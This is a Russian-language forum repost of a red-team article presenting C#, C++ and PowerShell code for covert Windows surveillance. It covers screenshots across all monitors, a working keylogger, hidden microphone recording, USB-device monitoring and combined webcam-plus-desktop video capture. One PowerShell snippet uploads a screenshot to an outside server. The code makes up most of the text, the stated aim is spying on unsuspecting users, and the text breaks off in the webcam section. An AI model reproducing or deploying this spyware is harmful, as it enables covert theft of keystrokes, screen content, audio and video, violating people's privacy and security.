Спайварь на C#. Как устроены средства слежения за пользователями

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
При редтиминге иногда приходится изучать обстановку не только внутри сети, но и за ее пределами. В частности, по ту сторону монитора. Работает ли кто‑то за устройством в текущий момент, какое окно открыто, что говорят в микрофон. Давай посмотрим, как можно, используя легитимные возможности системы, следить за ничего не подозревающим пользователем.

Большая часть того, что мы реализуем в этой статье, есть только в Metasploit и в Cobalt Strike. Первый написан на Ruby, а исходники второго закрыты. Других реализаций я с ходу и не назову, а ведь хочется иметь короткие и аккуратные примеры кода, которые можно без проблем добавить в собственную программу.

Впрочем, у меня получилось самостоятельно все реализовать на C#, а некоторые программы — на C++ и PowerShell.

СКРИНШОТ РАБОЧЕГО СТОЛА​

Первоочередная задача — скриншоты. Нужно увидеть, что открыто у текущего пользователя, в каких программах он работает и чем сейчас занимается.

Казалось бы, такая тривиальная задача дается в восьмом классе в качестве летней домашки на паскале, но не тут‑то было. Авторы множества реализаций забывают об одной интересной детали. Догадался, о какой?

Пока думаешь, покажу тебе пример кода на PowerShell. Даже с его помощью можно сделать скриншот текущего рабочего стола.
Код: Скопировать в буфер обмена
Код:
# Отправляем нажатие клавиши Print Screen, которое сделает скриншот всех экранов
[Windows.Forms.SendKeys]::SendWait("{PRTSC}")
# Даем системе время, чтобы обработать нажатие клавиши и получить изображение в буфер обмена
Start-Sleep -Milliseconds 250
# Получаем изображение из буфера обмена
$img = [Windows.Forms.Clipboard]::GetImage()
# Сохраняем изображение в файл
$filePath = "C:\1.png"
$img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png)
# Выводим информацию о местоположении сохраненного файла
Write-Host "Скриншот сохранён в файле: $filePath"
Успешный снимок экрана


Скрипт работает предельно просто — имитирует нажатие кнопки Print Screen.

В интернете можно даже встретить вариант с автоматической отправкой картинки на веб‑сервер.
Код: Скопировать в буфер обмена
Код:
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
Start-Sleep -Milliseconds 250
$x = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.Imaging.ImageFormat]::Png)
Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" -Method POST -Body ([Convert]::ToBase64String($x.ToArray()))
Отправка изображения на веб-сервер


Ну как, догадался, что не учел автор? У пользователя может быть несколько мониторов! Например, как у меня.

Два монитора


Что, если хитрый сисадмин утащил к себе несколько мониторов и пользуется ими в свое удовольствие? Мы из‑за этого рискуем упустить важную информацию из виду!

Это накладывает некоторые ограничения на выбор наших инструментов. Если просто слать нажатие Print Screen через Windows.Forms, то получаем изображение с текущего монитора, что нас не устраивает.

Получить картинку со всех экранов можно, если обратиться к свойству AllScreens. Оно лежит в System.Windows.Forms.Screen. На выходе я хочу получить один большой скриншот, содержащий изображения со всех мониторов, поэтому не обойтись без System.Drawing.

Мы создадим растровое изображение (bitmap), а затем добавим на него скриншот с каждого экрана. Получить изображение с экрана можно через метод CopyFromScreen().
Код: Скопировать в буфер обмена
Код:
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.Windows.Forms;
class Program
{
    static void Main()
    {
        // Определяем общую область для всех экранов
        Rectangle totalSize = Rectangle.Empty;
        foreach (Screen screen in Screen.AllScreens)
        {
            totalSize = Rectangle.Union(totalSize, screen.Bounds);
        }
        // Создаем новый битмап с размерами общей области
        using (Bitmap bmpScreenCapture = new Bitmap(totalSize.Width, totalSize.Height))
        {
            // Создаем графический объект для битмапа
            using (Graphics g = Graphics.FromImage(bmpScreenCapture))
            {
                // Копируем каждый экран по отдельности
                foreach (Screen screen in Screen.AllScreens)
                {
                    g.CopyFromScreen(screen.Bounds.X,
                                     screen.Bounds.Y,
                                     screen.Bounds.X - totalSize.X,
                                     screen.Bounds.Y - totalSize.Y,
                                     screen.Bounds.Size,
                                     CopyPixelOperation.SourceCopy);
                }
            }
            // Сохраняем битмап в файл
            string filename = "screenshot_all.png";
            bmpScreenCapture.Save(filename, ImageFormat.Png);
            Console.WriteLine($"Скриншот всех экранов сохранен как {filename}");
        }
    }
}
Успешный захват экрана


Обрати внимание, что благодаря методу Rectangle.Union() изображения расположены на холсте в соответствии с настройками мониторов. У меня в системе мониторы расположены, как на скриншоте ниже.

Расположение мониторов


Если передвинем один экран, то изменится и расположение изображений на снимке.

Изменение расположения

Измененное положение изображений


Ту же логику можно реализовать и на PowerShell.
Код: Скопировать в буфер обмена
Код:
$ScriptBlock = {
    Add-Type -AssemblyName System.Drawing
    Add-Type -AssemblyName System.Windows.Forms
    $bounds = [System.Drawing.Rectangle]::Empty
    foreach ($screen in [System.Windows.Forms.Screen]::AllScreens) {
        $bounds = [System.Drawing.Rectangle]::Union($bounds, $screen.Bounds)
    }
    $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
    $graphics = [System.Drawing.Graphics]::FromImage($bmp)
    $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
    $bmp.Save('C:\1.png', [System.Drawing.Imaging.ImageFormat]::Png)
    $graphics.Dispose()
    $bmp.Dispose()
}
$Runspace = [runspacefactory]::CreateRunspace()
$Runspace.Open()
$PowerShell = [powershell]::Create().AddScript($ScriptBlock)
$PowerShell.Runspace = $Runspace
$PowerShell.Invoke()
$Runspace.Close()
Write-Host "Screenshot saved to C:\1.png"
Этот код, используя описанный выше алгоритм, создаст снимок экрана в C:\1.png.

Снимок экрана, сделанный при помощи PowerShell


На C++ все будет чуточку сложнее. Так как функция большая, я сначала дам полный ее код, а затем разберем его по шагам. Итак, функцию я назвал SaveBitmap(). Она принимает лишь один параметр — путь, по которому нужно сохранить изображение.
C++: Скопировать в буфер обмена
Код:
#include <windows.h>
BOOL WINAPI SaveBitmap(WCHAR* wPath)
{
    BITMAPFILEHEADER bfHeader;
    BITMAPINFOHEADER biHeader;
    BITMAPINFO bInfo;
    HGDIOBJ hTempBitmap;
    HBITMAP hBitmap;
    BITMAP bAllDesktops;
    HDC hDC, hMemDC;
    LONG lWidth, lHeight;
    BYTE* bBits = NULL;
    HANDLE hHeap = GetProcessHeap();
    DWORD cbBits, dwWritten = 0;
    HANDLE hFile;
    INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
    INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);
    ZeroMemory(&bfHeader, sizeof(BITMAPFILEHEADER));
    ZeroMemory(&biHeader, sizeof(BITMAPINFOHEADER));
    ZeroMemory(&bInfo, sizeof(BITMAPINFO));
    ZeroMemory(&bAllDesktops, sizeof(BITMAP));
    hDC = GetDC(NULL);
    hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);
    GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);
    lWidth = bAllDesktops.bmWidth;
    lHeight = bAllDesktops.bmHeight;
    DeleteObject(hTempBitmap);
    bfHeader.bfType = (WORD)('B' | ('M' << 8));
    bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
    biHeader.biSize = sizeof(BITMAPINFOHEADER);
    biHeader.biBitCount = 24;
    biHeader.biCompression = BI_RGB;
    biHeader.biPlanes = 1;
    biHeader.biWidth = lWidth;
    biHeader.biHeight = lHeight;
    bInfo.bmiHeader = biHeader;
    cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;
    hMemDC = CreateCompatibleDC(hDC);
    hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0);
    SelectObject(hMemDC, hBitmap);
    BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);
    hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFile)
    {
        DeleteDC(hMemDC);
        ReleaseDC(NULL, hDC);
        DeleteObject(hBitmap);
        return FALSE;
    }
    WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
    WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL);
    WriteFile(hFile, bBits, cbBits, &dwWritten, NULL);
    FlushFileBuffers(hFile);
    CloseHandle(hFile);
    DeleteDC(hMemDC);
    ReleaseDC(NULL, hDC);
    DeleteObject(hBitmap);
    return TRUE;
}
int main() {
    LPWSTR path = (LPWSTR)L"C:\\1.jpg";
    SaveBitmap(path);
    return 0;
}
В начале идет объявление необходимых структур и переменных, в частности, инстанцируем экземпляры BITMAPFILEHEADER и BITMAPINFOHEADER, они необходимы для создания растрового изображения.
C++: Скопировать в буфер обмена
Код:
BITMAPFILEHEADER bfHeader;
BITMAPINFOHEADER biHeader;
BITMAPINFO bInfo;
HGDIOBJ hTempBitmap;
HBITMAP hBitmap;
BITMAP bAllDesktops;
HDC hDC, hMemDC;
LONG lWidth, lHeight;
BYTE* bBits = NULL;
HANDLE hHeap = GetProcessHeap();
DWORD cbBits, dwWritten = 0;
HANDLE hFile;
Следующим шагом с помощью GetSystemMetrics() получаем размеры виртуального экрана. Виртуальный экран — прямоугольник, в который можно вписать изображения со всех мониторов.
Код: Скопировать в буфер обмена
Код:
INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);
Например, если у нас два монитора: 1920 на 1080 и 3440 на 1440, то по вертикали у этого изображения должно быть 1080 + 1440 пикселей, а по горизонтали — 3440.
Расположение мониторов


Тем не менее очень многое зависит от расположения мониторов. Если они расположены по‑другому, то по вертикали может быть 1440, а по горизонтали 3440 + 1080 пикселей.

Чтобы получить контекст устройства (текущего виртуального экрана), используем GetDc(). Затем извлекаем информацию об этом битовом блоке (HGDIOBJ) через GetCurrentObject() и GetObjectW().
C++: Скопировать в буфер обмена
Код:
hDC = GetDC(NULL);
hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);
GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);
Следующим шагом остается правильно подготовить структуру BITMAPFILEHEADER, она нужна для всех растровых файлов. Параллельно не забываем об очистке ресурсов.
C++: Скопировать в буфер обмена
Код:
lWidth = bAllDesktops.bmWidth;
lHeight = bAllDesktops.bmHeight;
DeleteObject(hTempBitmap);
bfHeader.bfType = (WORD)('B' | ('M' << 8));
bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
biHeader.biSize = sizeof(BITMAPINFOHEADER);
biHeader.biBitCount = 24;
biHeader.biCompression = BI_RGB;
biHeader.biPlanes = 1;
biHeader.biWidth = lWidth;
biHeader.biHeight = lHeight;
bInfo.bmiHeader = biHeader;
cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;
Затем наконец‑то делаем «снимок». Через CreateCompatibleDc() создаем так называемый контекст памяти. В него будет помещен наш скриншот. Следом создаем блок секции с информацией, определенной в BITMAPINFO, через CreateDIBSection(). И (о чудо!) помещаем созданную секцию в контекст памяти, а затем копируем в него изображение экрана через BitBlt().
Код: Скопировать в буфер обмена
Код:
hMemDC = CreateCompatibleDC(hDC);
hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0);
SelectObject(hMemDC, hBitmap);
BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);
К слову, именно функция BitBlt() используется во всякой вирусняге вроде HRDP и HVNC. Но описание принципа работы таких инструментов тянет далеко не на одну статью (извиняюсь за веселый каламбур).

Остается лишь считать данные и записать их в наш выходной файл.
Код: Скопировать в буфер обмена
Код:
    hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFile)
    {
        DeleteDC(hMemDC);
        ReleaseDC(NULL, hDC);
        DeleteObject(hBitmap);
        return FALSE;
    }
    WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
    WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL);
    WriteFile(hFile, bBits, cbBits, &dwWritten, NULL);
    FlushFileBuffers(hFile);
    CloseHandle(hFile);
    DeleteDC(hMemDC);
    ReleaseDC(NULL, hDC);
    DeleteObject(hBitmap);
    return TRUE;
}

КЕЙЛОГГЕР​

Не упомянуть такой инструмент из стандартного джентльменского набора я не мог, но и в очередной раз описывать построчно принцип работы кода на том же GetAsyncKeyState() или хуках не очень хочется. Поэтому просто дам ссылки на наиболее удачные реализации и наиболее интересные статьи на эту тему.
А еще в Windows существует функция SetWindowsHookEx(), с ее помощью можно установить хук. Хук позволяет перенаправить поток управления целевой программы в наш код. Если мы поставим хук на WH_KEYBOARD, то сможем отслеживать все нажатия клавиш в системе.

Я выложил код подобного кейлоггера на GitHub. У программы простенький GUI. Жмешь на кнопку, и хук устанавливается, после чего через Message Box тебя будут оповещать о нажатии на клавишу.

Обрати внимание, что Message Box будет возникать дважды, даже когда клавиша была нажата единожды. Первый раз — при опускании клавиши (WM_KEYDOWN), а затем при поднятии (WN_KEYUP).

Альтернативный вариант — использовать GetAsyncKeyState(). Этот механизм пытается найти нажатую в текущий момент клавишу. Если функция определила, что клавиша нажата, кейлоггер запротоколирует это.
C++: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <fstream>
int main() {
    std::ofstream file;
    file.open("log.txt", std::fstream::app);
    while (true) {
        Sleep(10); // Пауза, чтобы снизить нагрузку на процессор
        for (int key = 8; key <= 190; key++) {
            if (GetAsyncKeyState(key) == -32767) { // Если клавиша была нажата
                HWND foreground = GetForegroundWindow();
                if (foreground) {
                        file << char(key); // Запись нажатой клавиши в файл
                        file.flush();
                }
            }
        }
    }
    file.close();
    return 0;
}
На GitHub есть и полноценная реализация.

Как вариант, можно логировать нажатые клавиши через ETW, но это сработает только с виртуальной (экранной) клавиатурой. Тем не менее такой PoC тоже есть.

АУДИО​

Хочешь послушать, как матерится сисадмин и о чем болтает секретарша? Давай реализуем поддержку аудио!

На C++ код, который нам для этого понадобится, будет большим, громоздким и неудобным. Плюс для исполнения в памяти (как мы любим) потребуется конвертировать его в шелл‑код, затем думать над инжектором, а уж делать COFF — это совсем для избранных. Впрочем, если интересно почитать про выполнение в памяти, то обрати внимание на другую мою статью.

Итак, воспользуемся C#. Для записи аудио удобно использовать Nuget-пакет NAudio.

Сразу же находим пример использования.
Код: Скопировать в буфер обмена
Код:
public void StartRec()
 {
     WaveSourceStream = new NAudio.Wave.WaveInEvent();
     WaveSourceStream.DeviceNumber = 0;
     WaveSourceStream.WaveFormat = new WaveFormat(16000,1);
     WaveSourceStream.DataAvailable += sourceStream_DataAvailable;
     WaveSourceStream.StartRecording();
     bufl = new List<byte[]>();
 }
Впрочем, все‑таки лучше написать с нуля. У меня получилась вот такая программа.
C++: Скопировать в буфер обмена
Код:
using System;
using NAudio.Wave;
using NAudio.Lame;
namespace MicrophoneRecordToMp3
{
    class Program
    {
        static void Main(string[] args)
        {
            int deviceNumber = 1;
            string outputFilePath = "recorded_audio.mp3";
            using (var waveIn = new WaveInEvent())
            {
                waveIn.DeviceNumber = deviceNumber;
                waveIn.WaveFormat = new WaveFormat(44100, 1);
                var writer = new LameMP3FileWriter(outputFilePath, waveIn.WaveFormat, LAMEPreset.STANDARD);
                void WaveInDataAvailable(object sender, WaveInEventArgs e)
                {
                    writer.Write(e.Buffer, 0, e.BytesRecorded);
                }
                waveIn.DataAvailable += WaveInDataAvailable;
                waveIn.StartRecording();
                Console.WriteLine("Recording... Press Enter to stop and save the file.");
                Console.ReadLine();
                waveIn.StopRecording();
            }
            Console.WriteLine($"Recording saved to '{outputFilePath}'");
        }
    }
}
Этот код позволяет записывать аудио с микрофона в формате .mp3 до тех пор, пока не будет нажата клавиша Enter. Проблема в том, что здесь строго используется некоторое первое (deviceNumber = 1) микрофонное устройство. Чтобы использовать устройство по умолчанию, просто удалим эти строки.

Ниже — финальный PoC.
Код: Скопировать в буфер обмена
Код:
using System;
using NAudio.Wave;
using NAudio.Lame;
namespace MicrophoneRecordToMp3
{
    class Program
    {
        static void Main(string[] args)
        {
            // Путь для сохранения файла
            string outputFilePath = "recorded_audio.mp3";
            // Инициализация объекта WaveInEvent для записи с микрофона
            using (var waveIn = new WaveInEvent())
            {
                // Задаем формат записи: частота дискретизации 44 100 Гц, один канал (моно)
                waveIn.WaveFormat = new WaveFormat(44100, 1);
                // Создаем MP3 writer и оборачиваем его в using, чтобы обеспечить корректное закрытие файла
                using (var writer = new LameMP3FileWriter(outputFilePath, waveIn.WaveFormat, LAMEPreset.STANDARD))
                {
                    // Обработчик события DataAvailable
                    void WaveInDataAvailable(object sender, WaveInEventArgs e)
                    {
                        writer.Write(e.Buffer, 0, e.BytesRecorded);
                    }
                    // Подписываемся на событие DataAvailable
                    waveIn.DataAvailable += WaveInDataAvailable;
                    // Начинаем запись
                    waveIn.StartRecording();
                    Console.WriteLine("Recording... Press Enter to stop and save the file.");
                    // Ждем нажатия клавиши Enter для остановки записи
                    Console.ReadLine();
                    // Останавливаем запись
                    waveIn.StopRecording();
                }
            }
            // Сообщаем о сохранении записи
            Console.WriteLine($"Recording saved to '{outputFilePath}'");
        }
    }
}
В статье, конечно, продемонстрировать тебе звук не могу, но он был успешно записан, честно‑честно!

Файл с записью звука


Кстати, если тебя интересует способ на C++, то можно использовать Windows Wave API, пример кода есть на GitHub.

Впрочем, существуют проекты, умеющие писать звук и через DirectX, например SharpDXWebcam.

Хочешь приколоться над админом в лучших традициях «Западлостроения»? Если он любит слушать на работе музыку, то мы можем через NAudio изменить уровень громкости! Устрой дискотеку!
C++: Скопировать в буфер обмена
Код:
using NAudio.CoreAudioApi;
using System;
public class VolumeChanger
{
    public void SetVolume(int volumeLevel)
    {
        if (volumeLevel < 0 || volumeLevel > 100)
            throw new ArgumentException("Volume must be between 0 and 100.");
        // Инициализация объекта MMDeviceEnumerator для взаимодействия с аудиоустройствами
        MMDeviceEnumerator devEnum = new MMDeviceEnumerator();
        MMDevice defaultDevice = devEnum.GetDefaultAudioEndpoint(DataFlow.Render, Role.Multimedia);
        // Приведение указанного уровня громкости в диапазоне от 0 до 100 к диапазону от 0,0 до 1,0
        float normalizedVolumeLevel = volumeLevel / 100.0f;
        // Установка уровня громкости
        defaultDevice.AudioEndpointVolume.MasterVolumeLevelScalar = normalizedVolumeLevel;
        // Опционально: включение/выключение звука (mute/unmute)
        //defaultDevice.AudioEndpointVolume.Mute = false;
    }
}
class Program
{
    static void Main(string[] args)
    {
        VolumeChanger changer = new VolumeChanger();
        changer.SetVolume(50);  // Установка громкости на 50%
    }
}
Если нам нужно использовать C++, то придется лезть в COM.
C++: Скопировать в буфер обмена
Код:
#include <Windows.h>
#include <mmdeviceapi.h>
#include <endpointvolume.h>
#include <iostream>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "winmm.lib")
int main() {
    HRESULT hr = CoInitialize(NULL);
    if (FAILED(hr)) {
        std::cout << "Не удалось инициализировать COM библиотеку" << std::endl;
        return hr;
    }
    IMMDeviceEnumerator* deviceEnumerator = NULL;
    hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_INPROC_SERVER,
        __uuidof(IMMDeviceEnumerator), (LPVOID*)&deviceEnumerator);
    if (FAILED(hr)) {
        std::cout << "Не удалось создать экземпляр MMDeviceEnumerator" << std::endl;
        CoUninitialize();
        return hr;
    }
    IMMDevice* defaultDevice = NULL;
    hr = deviceEnumerator->GetDefaultAudioEndpoint(eRender, eMultimedia, &defaultDevice);
    deviceEnumerator->Release();
    if (FAILED(hr)) {
        std::cout << "Не удалось получить устройство по умолчанию" << std::endl;
        CoUninitialize();
        return hr;
    }
    IAudioEndpointVolume* endpointVolume = NULL;
    hr = defaultDevice->Activate(__uuidof(IAudioEndpointVolume),
        CLSCTX_INPROC_SERVER, NULL, (LPVOID*)&endpointVolume);
    defaultDevice->Release();
    if (FAILED(hr)) {
        std::cout << "Не удалось активировать интерфейс громкости" << std::endl;
        CoUninitialize();
        return hr;
    }
    // Установить громкость (0.0 — минимум, 1.0 — максимум)
    float newVolume = 0.5; // 50%
    hr = endpointVolume->SetMasterVolumeLevelScalar(newVolume, NULL);
    if (FAILED(hr)) {
        std::cout << "Не удалось установить уровень громкости" << std::endl;
    }
    else {
        std::cout << "Громкость установлена на " << newVolume * 100 << "%" << std::endl;
    }
    endpointVolume->Release();
    CoUninitialize();
    return 0;
}

УСТРОЙСТВА​

К целевому компьютеру могут быть подключены разные устройства: флешки, телефоны, мышки, клавиатуры. Для работы с устройствами существует целый класс API.

Например, великий Павел Йосифович в своей книге Windows 10 System Programming Part 1 на странице 540 демонстрирует функцию DisplayDevices(). С ее помощью возможно перечислить подключенные устройства.

Вывод информации об устройствах


C++: Скопировать в буфер обмена
Код:
#define INITGUID
#include <string>
#include <vector>
#include <wiaintfc.h>
#include <Windows.h>
#include <SetupAPI.h>
#include <Wiaintfc.h>
#include <Ntddvdeo.h>
#include <initguid.h>
#include <Usbiodef.h>
#include <devpkey.h>
#include <Ntddkbd.h>
#include <ntddmou.h>
#include <ntddvdeo.h>
#include <locale>
#pragma comment(lib, "SetupAPI.lib")
struct DeviceInfo {
    std::wstring SymbolicLink;
    std::wstring FriendlyName;
};
void DisplayDevices(const std::vector<DeviceInfo>& devices, const char* name) {
    printf("%s\n%s\n", name, std::string(::strlen(name), '-').c_str());
    for (auto& di : devices) {
        printf("Symbolic link: %ws\n", di.SymbolicLink.c_str());
        printf(" Name: %ws\n", di.FriendlyName.c_str());
        auto hDevice = ::CreateFile(di.SymbolicLink.c_str(), GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            nullptr, OPEN_EXISTING, 0, nullptr);
        if (hDevice == INVALID_HANDLE_VALUE)
            printf(" Failed to open device (%d)\n", ::GetLastError());
        else {
            printf(" Device opened successfully!\n");
            ::CloseHandle(hDevice);
        }
    }
    printf("\n");
}
std::vector<DeviceInfo> EnumDevices(const GUID& guid) {
    std::vector<DeviceInfo> devices;
    auto hInfoSet = ::SetupDiGetClassDevs(&guid, nullptr, nullptr,
        DIGCF_PRESENT | DIGCF_INTERFACEDEVICE);
    if (hInfoSet == INVALID_HANDLE_VALUE)
        return devices;
    devices.reserve(4);
    SP_INTERFACE_DEVICE_DATA data = { sizeof(data) };
    PSP_INTERFACE_DEVICE_DETAIL_DATA DevDetail;
    SP_DEVINFO_DATA ddata = { sizeof(ddata) };
    BYTE buffer[1 << 12];
    DWORD dw;
    for (DWORD i = 0; ; i++) {
        if (!::SetupDiEnumDeviceInterfaces(hInfoSet, nullptr, &guid, i, &data)) {
            dw = GetLastError();
            break;
        }
        ULONG needed, l;
        ::SetupDiGetDeviceInterfaceDetail(hInfoSet, &data, NULL, 0, &needed, 0);
        l = needed;
        DevDetail = (SP_DEVICE_INTERFACE_DETAIL_DATA*)GlobalAlloc(GPTR, l + 4);
        DevDetail->cbSize = sizeof(SP_INTERFACE_DEVICE_DETAIL_DATA);
        if (::SetupDiGetDeviceInterfaceDetail(hInfoSet, &data, DevDetail, l, &needed, &ddata)) {
            DeviceInfo info;
            info.SymbolicLink = DevDetail->DevicePath;
            if (::SetupDiGetDeviceRegistryProperty(hInfoSet, &ddata,
                SPDRP_DEVICEDESC, nullptr, buffer, sizeof(buffer), nullptr))
                info.FriendlyName = (WCHAR*)buffer;
            devices.push_back(std::move(info));
        }
        dw = GetLastError();
    }
    ::SetupDiDestroyDeviceInfoList(hInfoSet);
    return devices;
}
int main() {
    setlocale(LC_ALL, "");
    auto devices = EnumDevices(GUID_DEVINTERFACE_IMAGE);
    DisplayDevices(devices, "Image");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_MONITOR), "Monitor");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_DISPLAY_ADAPTER),"Display Adapter");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_DISK), "Disk");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_KEYBOARD), "keyboard");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_USB_DEVICE), "usb");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_MOUSE), "mouse");
    return 0;
}
Что уж тут говорить, для одной только батареи в Windows есть отдельный API — GetSystemPowerStatus().
C++: Скопировать в буфер обмена
Код:
#include <iostream>
#include <Windows.h>
#include <locale>
int main() {
    setlocale(LC_ALL, "");
    SYSTEM_POWER_STATUS sps;
    if (GetSystemPowerStatus(&sps)) {
        int batteryLifePercent = sps.BatteryLifePercent;
        if (batteryLifePercent != 255) {
            std::cout << "Текущий заряд батареи: " << batteryLifePercent << "%" << std::endl;
        }
        else {
            std::cout << "Заряд батареи неизвестен." << std::endl;
        }
    }
    else {
        std::cout << "Не удалось получить информацию о состоянии питания." << std::endl;
    }
    return 0;
}
Информация о батарее


Кстати, можно злоупотреблять Windows Power Management API: реализовать необычный метод персиста, при котором наш код будет исполняться при включении или отключения дисплея. Подробно можно почитать в этом ресерче VXUG.

Если опускаться чуть ниже, то основное взаимодействие с любым устройством происходит через API DeviceIoControl().
Код: Скопировать в буфер обмена
Код:
BOOL DeviceIoControl(
    _In_ HANDLE hDevice,
    _In_ DWORD dwIoControlCode,
    _In_ LPVOID lpInBuffer,
    _In_ DWORD nInBufferSize,
    _Out_ LPVOID lpOutBuffer,
    _In_ DWORD nOutBufferSize,
    _Out_opt_ LPDWORD lpBytesReturned,
    _Inout_opt_ LPOVERLAPPED lpOverlapped);
Затык может произойти уже на втором аргументе — dwIoControlCode. Для каждого устройства могут быть установлены собственные управляющие коды, что несколько усложняет процесс разработки.

Тем не менее существует несколько средств, которые помогут разобраться с устройствами по API. Рекомендую обратить внимание на DevCon. Это полноценная большая программа, которая позволяет извлекать информацию об устройствах и управлять ими.

Впрочем, для слежения нам достаточно лишь вовремя получать информацию о подключении устройства. Из C# в таком случае проще обращаться к WMI. Я так сделал в проекте USB-Monitor.

Там на помощь пришел WqlEventQuery, с ним мы можем зарегистрировать колбэк, который будет вызван при подключении нового USB-устройства.

Дальше дело за малым — нужно, исходя из поля Service, определить, какое устройство вставили. В случае флешки будет строка USBSTOR, затем нужно конвертировать название физического диска (\\.\PHYSICALDRIVE) в привычную букву (E:), а потом просто вывести содержимое папки, чтобы увидеть интересные файлы на флешке.

На C++ можно обрабатывать различные сообщения WM_DEVICE, но для этого требуется создавать оконное приложение, что нам не очень подходит.

ВЕБ-КАМЕРА​

Если у пользователя есть веб‑камера, значит, мы тоже можем ей воспользоваться. Однако здесь все чуточку сложнее.

Снова есть варианты работы через DirectX:
Проблема в том, что в этих проектах многовато кода, а нам нужно относительно маленькое компактное решение. Поэтому прибегаем к помощи Accord.Video. Заодно добавим и запись экрана с веб‑камеры. Будет полноценная проктор‑программа!

Код, конечно, все равно получился немаленьким, поэтому я залил его на GitHub.

Стартовая функция выглядит вот так.
C++: Скопировать в буфер обмена
Код:
private static VideoFileWriter writer;
private static Bitmap videoFrame;
private static Bitmap webcamFrame;
private static readonly object videoFrameLock = new object();
private static readonly object webcamFrameLock = new object();
private static bool isRecording = true;
static void Main()
{
    Rectangle bounds = GetScreenBounds();
    int width = bounds.Width;
    int height = bounds.Height;
    writer = new VideoFileWriter();
    writer.Open("desktop_with_webcam.avi", width, height, 10, VideoCodec.MPEG4, 10000000);
    Thread screenThread = new Thread(() => CaptureDesktop(bounds));
    screenThread.Start();
    VideoCaptureDevice videoSource = StartWebCamCapture();
    Thread.Sleep(20000); // Двадцать секунд для записи
    isRecording = false;
    videoSource.SignalToStop();
    videoSource.WaitForStop();
    screenThread.Join();
    writer.Close();
    Console.WriteLine("Recording finished.");
}
Сначала заводим несколько глобальных переменных (это всё внутри класса Program, поэтому будет правильнее сказать статических). После чего получаем размеры всех мониторов, чтобы понять размеры виртуального экрана. Размеры получаем по уже описанному ранее алгоритму.
C++: Скопировать в буфер обмена
Код:
static Rectangle GetScreenBounds()
{
    Rectangle bounds = Rectangle.Empty;
    foreach (Screen screen in Screen.AllScreens)
    {
        bounds = Rectangle.Union(bounds, screen.Bounds);
    }
    return bounds;
}
Затем инициализирую инстанс класса VideoFileWriter(). Параметры означают, что будет создан видеофайл desktop_with_webcam.avi размером, как у рабочей области экрана, будет делаться 10 кадров в секунду, с использованием кодека MPEG4 и битрейтом 10 000 000.

Следующим шагом стартует новый отдельный поток, в котором происходит захват изображения с рабочих столов.
C++: Скопировать в буфер обмена
Код:
static void CaptureDesktop(Rectangle bounds)
{
    while (isRecording)
    {
        Bitmap combinedFrame = null;
        lock (videoFrameLock)
        {
            // Создаем битмап с размерами, охватывающими все мониторы
            combinedFrame = new Bitmap(bounds.Width, bounds.Height);
            using (var g = Graphics.FromImage(combinedFrame))
            {
                // Координаты начала захвата учитывают отрицательные координаты
                g.CopyFromScreen(bounds.Left, bounds.Top, 0, 0, bounds.Size);
                lock (webcamFrameLock)
                {
                    if (webcamFrame != null)
                    {
                        // Положение для кадра веб-камеры
                        int x = combinedFrame.Width - webcamFrame.Width - 10;
                        int y = combinedFrame.Height - webcamFrame.Height - 10;
                        g.DrawImage(webcamFrame, x, y, webcamFrame.Width, webcamFrame.Height);
                    }
                }
            }
        }
        writer.WriteVideoFrame(combinedFrame);
        combinedFrame.Dispose();
        Thread.Sleep(100);
    }
}
В основном потоке программы получаем видео с веб‑камеры. Обработка каждого получаемого кадра происходит в событии NewFrame, где текущий кадр клонируется и сохраняется в переменную webcamFrame. Клонирование нужно по той причине, что объект NewFrame как бы считается занятым, и если обратиться к нему, то вылезет исключение.
Код: Скопировать в буфер обмена
Код:
